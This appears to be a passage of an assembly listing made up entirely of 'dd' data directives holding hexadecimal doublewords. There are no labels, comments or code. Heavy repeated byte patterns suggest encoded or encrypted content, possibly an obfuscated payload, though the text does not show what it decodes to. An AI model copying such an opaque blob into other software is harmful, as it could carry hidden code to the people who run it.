dd 77796A6Bh, 6A6BFB4Eh, 8D7E93F9h, 0AEFFF39Bh, 0DB858586h
dd 6A6BFB16h, 826FC575h, 7B6A6BFAh, 7292F9AAh, 86AEEFF1h
dd 0B87B8585h, 0EA7FC575h, 796A6BFBh, 6BFA9E7Fh, 7792F96Ah
dd 946FFEF2h, 91858587h, 8E933D7Ch, 0DB858584h, 6A6BFB5Eh
dd 437892F9h, 6BF8167Fh, 0F71B0E6Ah, 858794FFh, 0AEDB2A85h
dd 0F96A6BFBh, 852A7292h, 7B5FCE6Fh, 73BCF36Ah, 0DB3F0E8Ch
dd 6A6BFBDAh, 0FBE67F79h, 92F96A6Bh, 0A7F4376h, 0E6A6BF8h
dd 0FAA2DB2Ah, 7F796A6Bh, 6A6BFB56h, 8D7792F9h, 0FFF72AA2h
dd 85858794h, 7FC5752Ah, 6A6BFB62h, 0FBF67F79h, 92F96A6Bh
dd 6F852A73h, 6A7A8A5Eh, 5FBE4F85h, 4F856A7Bh, 6A732286h
dd 8690FFF7h, 922A8585h, 85859D8Fh, 0F376BEF9h, 85869EFFh
dd 21242585h, 0F32FB9B3h, 5B6AC29Fh, 0CC927A7Bh, 297A7ADDh
dd 0F852D2Ch, 86FFF772h, 2A8584A4h, 7ADDBE92h, 86F7F77Ah
dd 0F98584A4h, 0FA3A85B2h, 0F7A7B46h, 0CE67F183h, 0F96A6BFBh
dd 0BCF37991h, 0C575A453h, 6BFAAA67h, 7C91F96Ah, 864FE6F2h
dd 758584A4h, 0FBEE7FC5h
dd 7F796A6Bh, 6A6BFBF6h, 2A7892F9h, 3E7FC575h, 0F96A6BFBh
dd 102A7E92h, 7FC57579h, 6A6BFB92h, 0FBC27F79h, 92F96A6Bh
dd 4F852A71h, 6A6BFBA6h, 7A7A7B12h, 86FFF7FAh, 2A8584A4h
dd 11626F85h, 0BDF36A6Bh, 758585F9h, 7A784BFEh, 7FC5757Ah
dd 6A6BF83Ah, 2A7292F9h, 0A48AFFF7h, 122A8584h, 7A7A6585h
dd 9A7BFFF7h, 2D2A8585h, 8A4E6F85h, 0FFF36A7Ah, 8584A482h
dd 326F852Dh, 0FA6A7333h, 859A7BC7h, 0FF753685h, 7A7A7B88h
dd 6BFAD6DBh, 7D92F96Ah, 0A482FF43h, 0FE758584h, 7A7A7BA4h
dd 37CFCC75h, 7585859Ah, 9A34E7CCh, 0CD758585h, 7299BBA1h
dd 0F31CA473h, 84A48CCFh, 0FFCD7585h, 8584A48Ch, 0FBA66FF1h
dd 0B8F96A6Bh, 726F793Eh, 7B6A6BFBh, 8A6FF1AAh, 306A6BFAh
dd 0F31CAA7Bh, 849A7AFFh, 0FFCD7585h, 85849A7Ah, 7FFEC475h
dd 85859A7Bh, 866FC575h, 796A6BFAh, 6BFBCE6Fh, 7C90F96Ah
dd 0FE75AA43h, 7A7A7B08h, 7AFFCD75h, 0F185849Ah, 6BFB866Fh
dd 79B8F96Ah, 0FA9E6F79h, 0AA7B6A6Bh, 7FFEC475h, 85859A7Bh
dd 0FAC66FF1h, 6F796A6Bh, 6A6BFBF2h, 437E90F9h, 41FF75AAh
dd 757A7A7Bh, 9A7AFFCDh, 6FF18584h, 6A6BF876h, 0F376B8F9h
dd 75AB7BBBh, 7B77EECCh, 0F185859Ah, 6BFAEA4Fh, 77BCF96Ah
dd 897BB9F3h, 67CECC75h, 85859A7Bh, 0BB8CCD75h, 0A9F3729Ch
dd 0A4F38973h, 0F38CCD75h, 0F3897BB9h, 0CFF31CA4h, 8584A48Eh
dd 8EFFCD75h, 0F78584A4h, 9A7B7FFEh, 0F72A8585h, 849A78FFh
dd 9C922A85h, 0F77A7ADFh, 849A78F7h, 85B2F985h, 7B46FA3Ah
dd 0F3830F7Ah, 5182F3BDh, 6BFAEA7Fh, 7FC6FA6Ah, 85849A78h
dd 0DB070F54h, 6A6BFB8Eh, 0FA927F79h, 92F96A6Bh, 5380F37Dh
dd 0FEC475B8h, 849A786Fh, 6F852A85h, 6A7A8A46h, 0F97EBEF9h
dd 2E0F3F82h, 0FAE24FF1h, 4F796A6Bh, 6A6BFBF2h, 0F37694F9h
dd 75895381h, 7867CEC4h, 2C85849Ah, 8A466F85h, 0BEF96A7Ah
dd 2282F97Eh, 4FF1500Fh, 6A6BFB0Ah, 0FB364F79h, 94F96A6Bh
dd 5381F37Fh, 0CEC47589h, 849A7867h, 6F852C85h, 6A7A8A46h
dd 0F97EBEF9h, 780E3F82h, 5A124A91h, 926A6BE2h, 85858026h
dd 78C7F72Ah, 2D85849Ah, 8A566F85h, 0A2DB6A7Ah, 0F96A6BFAh
dd 0F72A7C92h, 849A78FFh, 52922A85h, 0F9858581h, 24256EBEh
dd 2FB9B321h, 96FB9FF3h, 7A7A7AEAh, 0F12D2C29h, 6BFAEA67h
dd 7E91F96Ah, 6FF17591h, 6A6BFB02h, 1C7390F9h, 0BA272EF3h
dd 0F832DB39h, 0BAF96A6Bh, 8B94366h, 7FC5759Fh, 6A6BFB8Ah
dd 326FC575h, 0F36A6BFBh, 0F9AC7BBCh, 6B917D94h, 98AB88F3h
dd 1C7637F1h, 1C0B76F1h, 0FA6F36F3h, 0FB6EDB3Ch, 3EF76A6Bh
dd 0BC43647Ah, 7FF79808h, 6A6B20BAh, 8502FFF3h, 0AADB8585h
dd 0F96A6BFBh, 0FFF37D92h, 85858506h, 8506CF85h, 0F858585h
dd 30419272h, 0BEF97A7Ah, 0EFFF372h, 0DB858585h, 6A6BFAC6h
dd 0EFF433Ah, 0F858585h, 0FA3FF741h, 0BA3FF72Ah, 0F3FB922Ah
dd 0FFF37A7Ah, 8585850Ah, 8502CF85h, 3FF78585h, 90922ABAh
dd 0F97A7A28h, 0BA736ABEh, 0CF85680Eh, 85858502h, 2ABA3FF7h
dd 8598BD92h, 72BEF985h, 8506FF85h, 42DB8585h, 0F96A6BF8h
dd 6FF15ABAh, 6A6BFBA6h, 7970B8F9h, 6BFA9A6Fh, 0B8D5756Ah
dd 8506FF43h, 3A098585h, 2AFA3FF7h, 7A7F3992h, 0AFFF37Ah
dd 85858585h, 858502CFh, 0FA3FF785h, 28F1922Ah, 0BEF97A7Ah
dd 75BA7376h, 858535FEh, 2CF8585h, 0F7858585h, 922AFA3Fh
dd 8585981Eh, 9372BEF9h, 85858542h, 0F85247F1h, 95F96A6Bh
dd 0F36B9172h, 0F198AB80h, 0F11C7237h, 1CBA6F2Eh, 3D036EF3h
dd 6BFB76DBh, 64BAF96Ah, 9908BD43h, 0B3212425h, 9FF32FB9h
dd 752D292Bh, 0C3723FCCh, 7A7A7A51h, 0DAC4F9C0h, 0BB988D55h
dd 2FF37990h, 0F3ADF386h, 7227F281h, 723FCC75h, 0E26FC575h
dd 0F16A6BFBh, 6BFBD677h, 702EF76Ah, 0FAA437Bh, 7A15C270h
dd 0F9937A7Ah, 757A7A7Ah, 0F1723FCCh, 6BFBD66Fh, 77C5756Ah
dd 6A6BF83Eh, 90F9B07Bh, 0FAA4372h, 7A03C27Dh, 18917A7Ah
dd 723FCC75h, 0FB4A6FF1h, 0B8F96A6Bh, 0FAA4378h, 7A13C27Dh
dd 30917A7Ah, 723FCC75h, 0FBD66FF1h, 6F796A6Bh, 6A6BFB66h
dd 437E90F9h, 0C27D0FAAh, 7A7A7A1Fh, 0CC755691h, 6FF1723Fh
dd 6A6BFB6Ah, 437E90F9h, 0C27D0FAAh, 7A7A7A1Bh, 0CC756E91h
dd 6FF1723Fh, 6A6BFA92h, 0FAA4338h, 7A0FC27Fh, 21257A7Ah
dd 122DB9B3h, 6A6BE26Bh, 858D9992h, 852A2385h, 7B5FE26Fh
dd 0F80ED96Ah, 0BADB6A6Bh, 756A6BFAh, 0FBB66FC5h, 0AA7B6A6Bh
dd 437192F9h, 6BF80E7Fh, 126D0F6Ah, 6A6BE278h, 858DC992h
dd 852A2385h, 7F48626Fh, 0F80ED96Ah, 94126A6Bh, 926A6BEDh
dd 85858DE6h, 4F852A23h, 6A6BF80Eh, 5BD66F85h, 7AD96A7Bh
dd 256A7F50h, 9FF32FB9h, 7F12D2Ch, 760FF172h, 0F16A3FF1h
dd 0A88D6E2Fh, 0AB738BF3h, 80F3B24Bh, 0AAF3B87Bh, 0F3623F79h
dd 5A0779BDh, 2D660F85h, 7A5A3092h, 72BEF97Ah, 8D7BBDF3h
dd 242582F3h, 0F32FB927h, 2E96F99Fh, 0F12D2C29h, 7E10720Fh
dd 7A6A7A12h, 763FF17Ah, 73ABAF9h, 45BAF979h, 0F37C82BBh
dd 7C9DBBBDh, 857A102Dh, 7F48666Fh, 963FF36Ah, 757607F1h
dd 0F8726FC5h, 77F16A6Bh, 6A6BF84Eh, 4D702EF7h, 0AA7B82F3h
dd 0BAF97907h, 7C82BB45h, 0EA47C575h, 0F16A6BFBh, 6BFB8277h
dd 7506F76Ah, 75B8F34Fh, 8528ADD5h, 6F85960Fh, 6A7A8A42h
dd 2C760F85h, 85960F85h, 73326E6Fh, 8A3FF76Ah, 3C10922Ah
dd 0BEF97A7Ah, 960FF16Ah, 7E7FC575h, 756A6BFBh, 0FBE26FC5h
dd 0B9F36A6Bh, 9131A97Bh, 3FF72C65h, 82922A8Ah, 0F97A7A41h
dd 7ADB72BEh, 0F96A6BFBh, 7F7955BAh, 6A6BFB5Ah, 397C4EF7h
dd 0F17607F1h, 6BFB8E6Fh, 4DB8F96Ah, 0AA7B82F3h, 0BAF97907h
dd 7C82BB45h, 0BF06B943h, 7AFA7A12h, 0FB5EDB7Ah, 92F96A6Bh
dd 0F852A78h, 6A6F8596h, 0F76A7332h, 852AD63Fh, 56926A0Fh
dd 0DB7A7A1Ch, 6A6BFB02h, 2A7DBAF9h, 2A8A3FF7h, 2AD63FF7h
dd 233A6F85h, 0BEF96A77h, 9E47F16Eh, 0F96A6BFAh, 82437F95h
dd 0BA4B7F0Eh, 4B78913Ah, 212425BAh, 0F32FB9B3h, 0FBAADB9Fh
dd 92F96A6Bh, 467F437Dh, 0C6A6B15h, 15461271h, 6F856A6Bh
dd 6A7A8A6Eh, 6B1546DBh, 7EB8276Ah, 9FF32F7Ah, 6BF84ADBh
dd 5E7F796Ah, 0F96A6BFBh, 7F437992h, 6A7B5FC2h, 0C212710Ch
dd 856A7B5Fh, 7A8A6E6Fh, 5FC2DB6Ah, 0B8276A7Bh, 0F32F7A7Eh
dd 6696FB9Fh, 297A7A78h, 0FFF72D2Ch, 8585878Ah, 5ADA122Ah
dd 0F5926A7Bh, 0F97A7AF8h, 0FFF372BEh, 85858782h, 0EE7FC575h
dd 756A6BFBh, 0FBE26FC5h, 0AA7B6A6Bh, 437892F9h, 858782FFh
dd 4B7D0F85h, 7BEB93BAh, 6EDB7A7Ah, 796A6BF8h, 6BFA967Fh
dd 86FFF36Ah, 0F1858587h, 858786FFh, 82EFF185h, 0F7858587h
dd 0B2F97876h, 46FA3A85h, 830F7A7Bh, 878EFFF3h, 0C7FB8585h
dd 8585878Eh, 7A7A7A85h, 0FFF15009h, 85858786h, 0F85E6FF1h
dd 6F796A6Bh, 6A6BFB82h, 7B7990F9h, 82FF79AAh, 2A858587h
dd 857BFFF7h, 922A8585h, 7A7AE58Bh, 0D24FC575h, 916A6BFAh
dd 4FC6FA5Fh, 8585857Bh, 0BC720F53h, 857B4FFEh, 0FA478585h
dd 857B4FC6h, 0F528585h, 4FFEBC72h, 8585857Bh, 0F7F73C51h
dd 8585857Bh, 3A85B2F9h, 7A7B46FAh, 0BC43830Fh, 8512BD08h
dd 0F77A7A7Ah, 858478FFh, 0FFF72A85h, 8585857Bh, 0EE11922Ah
dd 0BEF97A7Ah, 75B9F376h
dd 0FAEE47C5h, 95F96A6Bh, 75549178h, 7847FEC4h, 0F3858584h
dd 858792FFh, 8D82F385h, 9EFFF39Dh, 0F1858587h, 858792FFh
dd 9EEFF185h, 53858587h, 47FEF2AAh, 85858478h, 8A5433Dh
dd 0F846DBB4h, 7F796A6Bh, 6A6BFB96h, 2A7892F9h, 0F7720F85h
dd 858478FFh, 0FE922A85h, 0F97A7A5Dh, 0FFF376BEh, 85858796h
dd 6BFBFADBh, 85817F6Ah, 7F797A7Ah, 6A6BF876h, 8796FF43h
dd 6B0E8585h, 8782CF85h, 6F858585h, 6A7B5FB6h, 913ABA4Bh
dd 8EFFF144h, 7B858587h, 858786FFh, 0FBF6DB85h, 793A6A6Bh
dd 6BFB227Fh, 86FF7B6Ah, 0F1858587h, 85878AFFh, 86FF4385h
dd 75858587h, 8584F4F8h, 82CF8585h, 85858587h, 7B5FB66Fh
dd 25BA4B6Ah, 0B9B32124h, 7A3A7BC2h, 7A72B8FAh, 0F99FF32Fh
dd 2C293A96h, 720FF12Dh, 327FC575h, 0F36A6BFBh, 0BA4779BDh
dd 0F96A6BFBh, 74917895h, 99AB81F3h, 46EF11Ch, 672EF31Ch
dd 3ADB3DBAh, 0F96A6BFBh, 7F7965BAh, 6A6BFBA6h, 9A08BD43h
dd 2ABA3FF7h, 0F9EF922Ch, 0BEF97A7Ah, 21242572h, 0F32FB9B3h
dd 4296FB9Fh, 297A7A7Bh, 6FF72D2Ch, 6A7AA4ADh, 0FB0677F1h
dd 0BBF96A6Bh, 0A9AAF373h, 4A6FF192h, 0F96A6BF8h, 6F797DB8h
dd 6A6BFBAEh, 0B9F3ABF3h, 7FF799A9h, 6A7AA4ADh, 0F3963FF3h
dd 0A2F39227h, 3742FB1Ch, 75620E20h, 0FB327FC5h, 6FF16A6Bh
dd 6A6BFA9Ah, 836AFEF7h, 537A7A85h, 0DBA691B9h, 6A6BFB9Ah
dd 0F342BAF9h, 0F3BC7BA4h, 0F37C79A2h, 37F18A3Fh, 0CB24396h
dd 0FB5ADB6Dh, 887F6A6Bh, 757A7A85h, 0FAAA6FC5h, 0AA7B6A6Bh
dd 0D191B953h, 0F38A3FF1h, 0CD75823Fh, 3F2A477Ah, 6A0E7A7Ah
dd 827FC575h, 7F6A6BFAh, 7A7A8581h, 0F191B953h, 0F1823FF1h
dd 7A7AFAFAh, 8E3FF37Ah, 6BFBCEDBh, 7E92F96Ah, 93863FF3h
dd 7A7A7B06h, 3F79A2F3h, 863F798Eh, 84AEFFF3h, 6FF18585h
dd 6A6BFAAEh, 437F90F9h, 15FE756Ah, 0F17A7A7Bh, 8584AEFFh
dd 79A0F385h, 0EFF3762Ah, 858584AAh, 0A3FFF728h, 2A858584h
dd 7AE72692h, 0FBCADB7Ah, 7F796A6Bh, 6A6BFB02h, 0F36A92F9h
dd 5891A23Fh, 0F0A23FF1h, 84A37FFEh, 1B468585h, 466B04h
dd 3FF17707h, 7FFEF7A2h, 858584A3h, 855A52FAh, 3FF1A23Fh
dd 0FEC475A2h, 8584A37Fh, 0C26FF185h, 0F96A6BFBh, 0AA437E90h
dd 1ADBBC0Fh, 0FA6A6BFBh, 84AD7FC6h, 75368585h, 7A7AA1FFh
dd 0E26FF17Ah, 0FA6A6BFAh, 84AC6FC6h, 75498585h, 7A7ABDFFh
dd 7FC6FA7Ah, 858584A8h, 0C3FF7531h, 0DB7A7A7Ah, 6A6BFB56h
dd 0FB867F79h, 0C6FA6A6Bh, 8584A87Fh, 0FF753F85h, 7A7A7ADAh
dd 3E7FC575h, 0FA6A6BFBh, 84AD7FC6h, 75288585h, 7A7AF1FFh
dd 0FB06DB7Ah, 7F796A6Bh, 6A6BFB2Ah, 0AF7FC6FAh, 48858584h
dd 0FFF10C0Fh, 858584AEh, 2A79A0F3h, 0B2EFF36Ah, 0DB858584h
dd 6A6BFB2Ah, 0F8467F79h, 92F96A6Bh, 0B6FFF37Eh, 0F1858584h
dd 8584B2FFh, 79BCF385h, 8584B6CFh, 0DB44F185h, 6A6BF876h
dd 0FBAE7F79h, 92F96A6Bh, 0EBD4376h, 4D922D3Fh, 237A7A5Ch
dd 6BFB2ADBh, 7E92F96Ah, 0F82E7F43h, 540F6A6Bh, 6BFB5EDBh
dd 167F796Ah, 0F96A6BFBh, 0FF7B7992h, 858584B6h, 6C91CB91h
dd 6E863FF9h, 0F1823FF1h, 7A7AFEFAh, 863F437Ah, 8408F875h
dd 0AADB8585h, 796A6BFBh, 6BF8327Fh, 7192F96Ah, 0F82E7F43h
dd 180E6A6Bh, 7A77C592h, 73D4927Ah, 0F2927A7Ah, 0F37A7A78h
dd 9D2FF2B8h, 9D3FCC75h, 0FAAE6FF1h, 90F96A6Bh, 0EAA4379h
dd 9A3FF747h, 0FBCEDB2Ah, 92F96A6Bh, 3FF72A7Eh, 0AD122AA6h
dd 0DB6A7AA4h, 6A6BFBF6h, 0FAAE7F79h, 92F96A6Bh, 52DB2A7Ch
dd 756A6BF8h, 0FA826FC5h, 0AA7B6A6Bh, 2A7792F9h, 155A6F85h
dd 24256A6Bh, 2FB9B321h, 2D2C9FF3h, 0F17207F1h, 8AF3760Fh
dd 0F36A3F59h, 59A88D88h, 0AA736E2Fh, 0B87B80F3h, 3F79AAF3h
dd 79BDF362h, 0F855A07h, 0E922D66h, 0F97A7A63h, 0BDF372BEh
dd 82F38D7Bh, 0B9272425h, 0C29FF32Fh, 7A7A5A7Ah, 7AE15E92h
dd 122D2C7Ah, 7A7A6585h, 9A7BFFF7h, 852A8585h, 6F85720Fh
dd 6A6B1542h, 6BEDA312h, 8A3C926Ah, 47F18585h, 6A6BFB82h
dd 2D7895F9h, 7BC7F72Ah, 2D85859Ah, 7A592092h, 6ABEF97Ah
dd 0FB824FF1h, 0BCFB6A6Bh, 7A7A8586h, 730E8A43h, 92720F85h
dd 7A7A1690h, 3ABA4B23h, 0B8B32425h, 0F32F7A72h, 2D2C299Fh
dd 0F17207F1h, 0FF17627h, 5BA2F36Eh, 6A2FF18Ah, 0AB8D8BF3h
dd 0AA73B05Bh, 0B87B80F3h, 3F79AAF3h, 79BDF362h, 0F855A07h
dd 0B2922D66h, 0F97A7A62h, 0BDF372BEh, 82F3A57Bh, 27212425h
dd 9FF32FB9h, 7B7E96FBh, 2D2C7A7Ah, 6BFB76DBh, 79B8F36Ah
dd 6BFBE66Fh, 7C90F96Ah, 367F7928h, 0F96A6BFBh, 102A7E92h
dd 7FC57579h, 6A6BF83Ah, 0FBDA7F79h, 92F96A6Bh, 0BADB2A6Ah
dd 0F96A6BFAh, 122A7892h, 0FA7A7A7Ah, 73484A12h, 626F856Ah
dd 0F36A6B11h, 8585F9BDh, 50C27D0Fh, 917A7A7Ah, 0F852DB10h
dd 0C5756A6Bh, 6BFABE6Fh, 0F9AA7B6Ah, 0F72A7492h, 858486FFh
dd 85122A85h, 0F77A7A7Ah, 85857BFFh, 852D2A85h, 7A8A4E6Fh
dd 2DBCF36Ah, 33326F85h, 0CC756A73h, 85857BFFh, 0AA6FF185h
dd 0F96A6BFBh, 0AA4360B8h, 50C27D07h, 917A7A7Ah, 0FBE6DB60h
dd 92F96A6Bh, 0FBC437Eh, 7A50C27Dh, 7D917A7Ah, 7BFFCC75h
dd 25858585h, 2FB9B324h, 2C299FF3h, 7227F12Dh, 29760FF1h
dd 8A7A6F85h, 0BDF36A7Ah, 6BFBF2DBh, 9E7F796Ah, 0F96A6BFBh
dd 0DB2A7392h, 6A6BFAC2h, 0F85E7F79h, 92F96A6Bh, 1ADB2A7Fh
dd 7F6A6BFBh, 7A7A658Dh, 326FC575h, 7B6A6BFBh, 2D2C2AAAh
dd 7FC57529h, 6A6BFABEh, 2A7C92F9h, 6F857A10h, 6A7A8A6Ah
dd 6BFB6EDBh, 6FC5756Ah, 6A6BFBE2h, 92F9AA7Bh, 447EF278h
dd 242582F3h, 2FB92721h, 96FB9FF3h, 7A7A7B72h, 47F12D2Ch
dd 6A6BFBF2h, 7FC5753Dh, 6A6BFAD2h, 0B91BD7Bh, 6BEDB712h
dd 9420926Ah, 0FFF38585h, 85858482h, 6BEDB912h, 9430926Ah
dd 2A2D8585h, 8482CFF1h, 0F72C8585h, 85857BCFh, 6F852C85h
dd 6A772352h, 0F762BEF9h, 85857BFFh, 7A102A85h, 6A7A7A12h
dd 426F857Ah, 0F36A7333h, 858486FFh, 0EBA7385h, 6F852A65h
dd 6A733332h, 527FC575h, 3A6A6BFBh, 7F0FBD43h, 913ABA4Bh
dd 7A78C259h, 66917A7Ah, 0FB6ADB3Dh, 0BAF96A6Bh, 6FC57521h
dd 6A6BFB7Eh, 0BD43AA7Bh, 850CF875h, 0BA4B8585h, 0B9B32425h
dd 0EDCE122Dh, 0B3926A6Bh, 23858597h, 0E26F852Ah, 0D96A7B5Fh
dd 6A6BF806h, 6BFA96DBh, 6FC5756Ah, 6A6BFB1Eh, 92F9AA7Bh
dd 67F4378h, 0F6A6BF8h, 0EDDF126Dh, 0E3926A6Bh, 23858597h
dd 626F852Ah, 0D96A7F48h, 6A6BF806h, 6BEDF712h, 97F8926Ah
dd 2A238585h, 0F8064F85h, 6F856A6Bh, 6A7B5BD6h, 7B75BED9h
dd 2FB9256Ah, 96FB9FF3h, 7A7A7B7Eh, 0FADEDB2Dh, 7F796A6Bh
dd 6A6BFBCEh, 0F2722FF0h, 848C7FEEh, 9ADB8585h, 0F96A6BFBh
dd 122A7E92h, 7A7A7AFAh, 2DB7E10h, 0F96A6BFBh, 0DB2A7392h
dd 6A6BF836h, 726FC575h, 7B6A6BF8h, 7092F9AAh, 7A7A122Ah
dd 4A123A7Ah, 856A7348h, 6B11626Fh, 75BDF36Ah, 0FBBE7FC5h
dd 7F796A6Bh, 6A6BFB0Ah, 2A7692F9h, 8486FFF7h, 0DB2A8585h
dd 6A6BFB02h, 2A7292F9h, 857BFFF7h, 2D2A8585h, 15666F85h
dd 852D6A6Bh, 7333326Fh, 0B9B3256Ah, 0F99FF32Fh, 2D2C7696h
dd 127207F1h, 6A7AD87Dh, 4C851E1Dh, 1E1D7A7Ah, 7A7A5CF3h
dd 6BEDFF12h, 96C8926Ah
dd 4D858585h, 8C0FF72Ah, 526F852Ch, 0F96A7723h, 7A106ABEh
dd 3FF74D85h, 62922A8Ch, 757A7A53h, 0FBEA7FC5h, 7F796A6Bh
dd 6A6BFAC2h, 2A7692F9h, 235E6F85h, 0BEF96A77h, 25AD916Ah
dd 7EB8B324h, 9FF32F7Ah, 781696FBh, 2C297A7Ah, 39A14B2Dh
dd 6BED0712h, 9620926Ah, 0F858585h, 0C7F72A72h, 858587C4h
dd 526F852Dh, 0F96A7723h, 0FFF76ABEh, 858584B8h, 0C4FFF72Ah
dd 2A858587h, 48526F85h, 0FFF36A73h, 858587C2h, 0EE7FC575h
dd 8D6A6BFBh, 0C2FF43A2h, 75858587h, 7A7B1CFFh, 5A3FF77Ah
dd 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h, 8587DAFFh, 7FC57585h
dd 6A6BFAEEh, 0AA6FC575h, 7B6A6BFAh, 7292F9AAh, 87DAFF43h
dd 77048585h, 87E2C7F7h, 0FF78585h, 91DFDF5Ah, 0E2C7F771h
dd 0F7858587h, 0DFDF6A0Fh, 87D2FFF7h, 0F72A8585h, 8587E2FFh
dd 6F852A85h, 6A6B2002h, 6BFB22DBh, 0EFCD756Ah, 858587C8h
dd 0CAF7CD75h, 0F1858587h, 6BF8764Fh, 4A0EF76Ah, 0B4D5754Fh
dd 0CD75B07Bh, 8587D4F7h, 824FF185h, 0F96A6BFBh, 0D5756FBCh
dd 264FF1B4h, 0F96A6BFBh, 0D57542BCh, 75B07BB4h, 87D0F7CDh
dd 4FF18585h, 6A6BFAE2h, 756FBCF9h, 0C575B4D5h, 6BFBBE4Fh
dd 0CA47F16Ah, 0F76A6BFBh, 7573440Eh, 4FF1B4D5h, 6A6BFB36h
dd 754FBCF9h, 0FB5247C5h, 847B6A6Bh, 7BB4D575h, 0F7CD75B0h
dd 858587D2h, 0FA9A4FF1h, 0C5756A6Bh, 6BFAE647h, 75847B6Ah
dd 0C575B4D5h, 6BFACE4Fh, 63BCF96Ah, 0F1B4D575h, 6BFAC24Fh
dd 6BBCF96Ah, 0B2F3BC7Bh, 75BCD575h, 0FB9277C5h, 4FF16A6Bh
dd 6A6BFB06h, 544B36F7h, 7BBBD575h, 0DEEFF3B8h, 0F3858587h
dd 4A6FF1AAh, 436A7A8Ah, 8BFD75AAh, 537A7A7Ah, 0FAC2DBB8h
dd 0A67F6A6Bh, 437A7A6Ah, 0A7FC75B8h, 857A7A7Ah, 6F85720Fh
dd 6A7A8A76h, 87EEFFF3h, 0B3938585h, 0FA7A7A7Ah, 858494C7h
dd 0FE755485h, 7A7A7AC2h, 6BED0E12h, 90E0926Ah, 0C7F78585h
dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h, 23526F85h
dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h
dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 85858797h, 7B22BEFBh
dd 16917A7Ah, 84B8FFF7h, 852A8585h, 8587C2CFh, 0B26F8585h
dd 0F36A7B75h, 0EA173B9h, 94C7FA2Dh, 54858584h, 1112300Eh
dd 926A6BEDh, 85859056h, 8494C7F7h, 852D8585h, 0F72A720Fh
dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h
dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h
dd 8705922Dh, 0BEFB8585h, 7A7A7B22h, 0EA0FA173h, 0B3212425h
dd 9FF32FB9h, 782E96FBh, 2C297A7Ah, 96FFF72Dh, 2A858584h
dd 6BFABADBh, 0F67F796Ah, 0F96A6BFBh, 0DB2A7992h, 6A6BFB9Eh
dd 2A7E92F9h, 36DB5A10h, 756A6BFBh, 0FAAA6FC5h, 0AA7B6A6Bh
dd 2A7292F9h, 507A6F85h, 3FF76A7Fh, 6F852A8Ah, 6A734E4Ah
dd 6BF86EDBh, 2FCD756Ah, 37CD7580h, 667F182h, 0F96A6BFBh
dd 0D5754FB9h, 75B07BB1h, 758C37CDh, 0FB3E67C5h, 0B9F96A6Bh
dd 0B1D5756Eh, 0FB5E67F1h, 0B9F96A6Bh, 4FC5754Dh, 6A6BFB42h
dd 0D575897Bh, 75B07BB1h, 0F18837CDh, 6BFB0267h, 6FB9F96Ah
dd 0F1B1D575h, 6BFB8E67h, 75B9F96Ah, 0F1B1D575h, 6BF86E67h
dd 43B9F96Ah, 7BB1D575h, 37CD75B0h, 6667F18Ah, 0F96A6BF8h
dd 67797FB9h, 6A6BFADAh, 0F1B1D575h, 6BFBFE67h, 623EF76Ah
dd 0B2D5756Dh, 6A7FC575h, 756A6BF8h, 0FA8E67C5h, 3EF76A6Bh
dd 0D5756B62h, 0FA9ADBB2h, 0BAF96A6Bh, 67C5754Fh, 6A6BFBEEh
dd 0D575A27Bh, 7BAAF3B2h, 8A4AD9B2h, 4EDB6A7Ah, 796A6BFBh
dd 6BFBDA7Fh, 7392F96Ah, 87B0FFF3h, 0CFF78585h, 858587D4h
dd 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h, 0DF1C897Ah, 8496C7F7h
dd 922D8585h, 7A7A62D2h, 7B3EBEFBh, 24257A7Ah, 0DBB9B321h
dd 6A6BFB2Eh, 0FB9E7F79h, 92F96A6Bh, 6F852A71h, 6A6B231Ah
dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7A6A7AC2h, 0E959927Ah
dd 2C297A7Ah, 0FBD6DB2Dh, 7F796A6Bh, 6A6BFB2Eh, 2A7092F9h
dd 8A7BFFF7h, 922A8585h, 7A7A779Bh, 0F172BEF9h, 6BFBB247h
dd 7295F96Ah, 0C6FA6091h, 858A7B47h, 750F5985h, 0E27FC575h
dd 326A6BFBh, 7B47FEF2h, 3D85858Ah, 758585FBh, 0A4087A7Ah
dd 8A7BCFF7h, 1D128585h, 926A6BEDh, 85859272h, 7B759A12h
dd 67C5756Ah, 6A6BFABEh, 297C91F9h, 0FB7267F1h, 0C5756A6Bh
dd 6BFBEE6Fh, 0F9A97B6Ah, 2A297391h, 0AA67C575h, 796A6BFAh
dd 6BF83667h, 7591F96Ah, 5E67F129h, 796A6BF8h, 6BFBA267h
dd 7F91F96Ah, 0F852C29h, 0AA67F172h, 796A6BFBh, 6BFB2E67h
dd 7791F96Ah, 7A8599FBh, 92297A7Ah, 7A7A3255h, 0F352BEF9h
dd 85B2F98Bh, 7B46FA3Ah, 75830F7Ah, 0FAEE6FC5h, 90F96A6Bh
dd 7BB9F37Bh, 7BACF389h, 7CC475A4h, 626FC575h, 756A6BF8h
dd 0FB5277C5h, 0B07B6A6Bh, 437F90F9h, 29FF75AAh, 25858585h
dd 0B9B32124h, 0ED23122Dh, 2F926A6Bh, 2385859Dh, 0E26F852Ah
dd 0D96A7B5Fh, 6A6BF822h, 6BF87ADBh, 7F92F96Ah, 0F8227F43h
dd 6D0F6A6Bh, 6BED3112h, 9D54926Ah, 2A238585h, 48626F85h
dd 22D96A7Fh, 126A6BF8h, 6A6BED3Bh, 859D6D92h, 47922A85h
dd 0D97A7A1Fh, 6A73334Eh, 6BED4D12h, 9D78926Ah, 922A8585h
dd 7A7A1F52h, 7B5BDED9h, 0ED57126Ah, 97926A6Bh, 2A85859Ch
dd 7A1F6992h, 233AD97Ah, 5F126A77h, 926A6BEDh, 85859CA2h
dd 1E84922Ah, 3AD97A7Ah, 126A6B0Ah, 6A6BED67h, 859CB992h
dd 93922A85h, 0D97A7A1Eh, 6A7F538Ah, 6BED6912h, 9CD4926Ah
dd 922A8585h, 7A7A1EAEh, 77235ED9h, 0ED70126Ah, 0E3926A6Bh
dd 2A85859Ch, 7A1EC592h, 228AD97Ah, 7A126A73h, 926A6BEDh
dd 85859CFEh, 1ED0922Ah, 9AD97A7Ah, 126A7F53h, 6A6BEC82h
dd 859C1592h, 0EF922A85h, 0D97A7A1Eh, 6A7B7A66h, 6BEC9712h
